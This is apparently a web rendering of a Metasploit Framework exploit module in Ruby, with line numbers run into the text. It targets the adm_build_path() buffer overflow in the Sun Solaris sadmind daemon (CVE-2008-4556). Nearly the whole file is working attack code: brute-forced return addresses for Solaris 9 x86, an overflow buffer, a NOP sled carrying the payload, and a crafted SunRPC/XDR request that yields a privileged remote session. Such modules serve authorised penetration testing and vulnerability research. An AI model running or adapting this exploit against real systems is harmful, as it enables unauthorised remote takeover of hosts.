Path: blob/master/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb
33606 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::SunRPC9include Msf::Exploit::Brute1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Sun Solaris sadmind adm_build_path() Buffer Overflow',16'Description' => %q{17This module exploits a buffer overflow vulnerability in adm_build_path()18function of Sun Solstice AdminSuite sadmind daemon.1920The distributed system administration daemon (sadmind) is the daemon used by21Solstice AdminSuite applications to perform distributed system administration22operations.2324The sadmind daemon is started automatically by the inetd daemon whenever a25request to invoke an operation is received. The sadmind daemon process26continues to run for 15 minutes after the last request is completed, unless a27different idle-time is specified with the -i command line option. The sadmind28daemon may be started independently from the command line, for example, at29system boot time. In this case, the -i option has no effect; sadmind continues30to run, even if there are no active requests.31},32'Author' => [33'Ramon de C Valle',34'Adriano Lima <adriano[at]risesecurity.org>',35],36'Platform' => 'solaris',37'References' => [38['CVE', '2008-4556'],39['OSVDB', '49111'],40['URL', 'https://web.archive.org/web/20081201000000*/https://risesecurity.org/advisories/RISE-2008001.txt'],41],42'Privileged' => true,43'License' => MSF_LICENSE,44'Payload' => {45'Space' => 1024,46'BadChars' => "\x00"47},48'Targets' => [49[50'Sun Solaris 9 x86 Brute Force',51{52'Arch' => [ ARCH_X86 ],53'Platform' => 'solaris',54'Nops' => 1024 * 32,55'Bruteforce' =>56{57'Start' => { 'Ret' => 0x08062030 },58'Stop' => { 'Ret' => 0x08072030 },59'Step' => 1024 * 3060}61}62],63[64'Sun Solaris 9 x86',65{66'Nops' => 1024 * 4,67'Bruteforce' =>68{69'Start' => { 'Ret' => 0x08066a60 + 2048 },70'Stop' => { 'Ret' => 0x08066a60 + 2048 },71'Step' => 172}73}74],75[76'Debug',77{78'Nops' => 1024 * 4,79'Bruteforce' =>80{81'Start' => { 'Ret' => 0xaabbccdd },82'Stop' => { 'Ret' => 0xaabbccdd },83'Step' => 184}85}86],87],88'DefaultTarget' => 0,89'DisclosureDate' => '2008-10-14',90'Notes' => {91'Stability' => [CRASH_SERVICE_RESTARTS],92'Reliability' => [REPEATABLE_SESSION],93'SideEffects' => [IOC_IN_LOGS]94}95)96)97end9899def check100port = sunrpc_create('udp', 100232, 10)101port.nil? ? CheckCode::Safe : CheckCode::Detected102ensure103sunrpc_destroy unless rpcobj.nil?104end105106def brute_exploit(brute_target)107begin108sunrpc_create('udp', 100232, 10)109rescue Rex::Proto::SunRPC::RPCTimeout, Rex::Proto::SunRPC::RPCError => e110vprint_error(e.to_s)111return112end113114unless @nops115print_status('Creating nop block...')116if target['Nops'] > 0117@nops = make_nops(target['Nops'])118else119@nops = ''120end121end122123print_status('Trying to exploit sadmind with address 0x%.8x...' % brute_target['Ret'])124125hostname = 'localhost'126127# buf1 = rand_text_alpha(1017) + [brute_target['Ret']].pack('L')128buf1 = 'A' * 1017 + [brute_target['Ret']].pack('L')129buf2 = @nops + payload.encoded130131header = Rex::Encoder::XDR.encode(0) * 7132header << Rex::Encoder::XDR.encode(1336, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,1344, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,135hostname, 'system', rand_text_alpha(16)136)137138body =139do_int('ADM_FW_VERSION', 1) +140do_string('ADM_LANG', 'C') +141do_string('ADM_REQUESTID', '00009:000000000:0') +142do_string('ADM_CLASS', 'system') +143do_string('ADM_CLASS_VERS', '2.1') +144do_string('ADM_METHOD', buf1) +145do_string('ADM_HOST', hostname) +146do_string('ADM_CLIENT_HOST', hostname) +147do_string('ADM_CLIENT_DOMAIN', '') +148do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +149do_int('ADM_FENCE', 0) +150do_string('X', buf2) +151Rex::Encoder::XDR.encode('netmgt_endofargs')152153request = header + Rex::Encoder::XDR.encode(header.length + body.length - 326) + body154155begin156# two seconds timeout for brute force157sunrpc_call(1, request, 2)158rescue Rex::Proto::SunRPC::RPCTimeout159print_status('Server did not respond, this is expected')160rescue Rex::Proto::SunRPC::RPCError => e161print_error(e.to_s)162end163ensure164sunrpc_destroy unless rpcobj.nil?165end166167def do_string(str1, str2)168Rex::Encoder::XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)169end170171def do_int(str, int)172Rex::Encoder::XDR.encode(str, 3, 4, int, 0, 0)173end174end175176177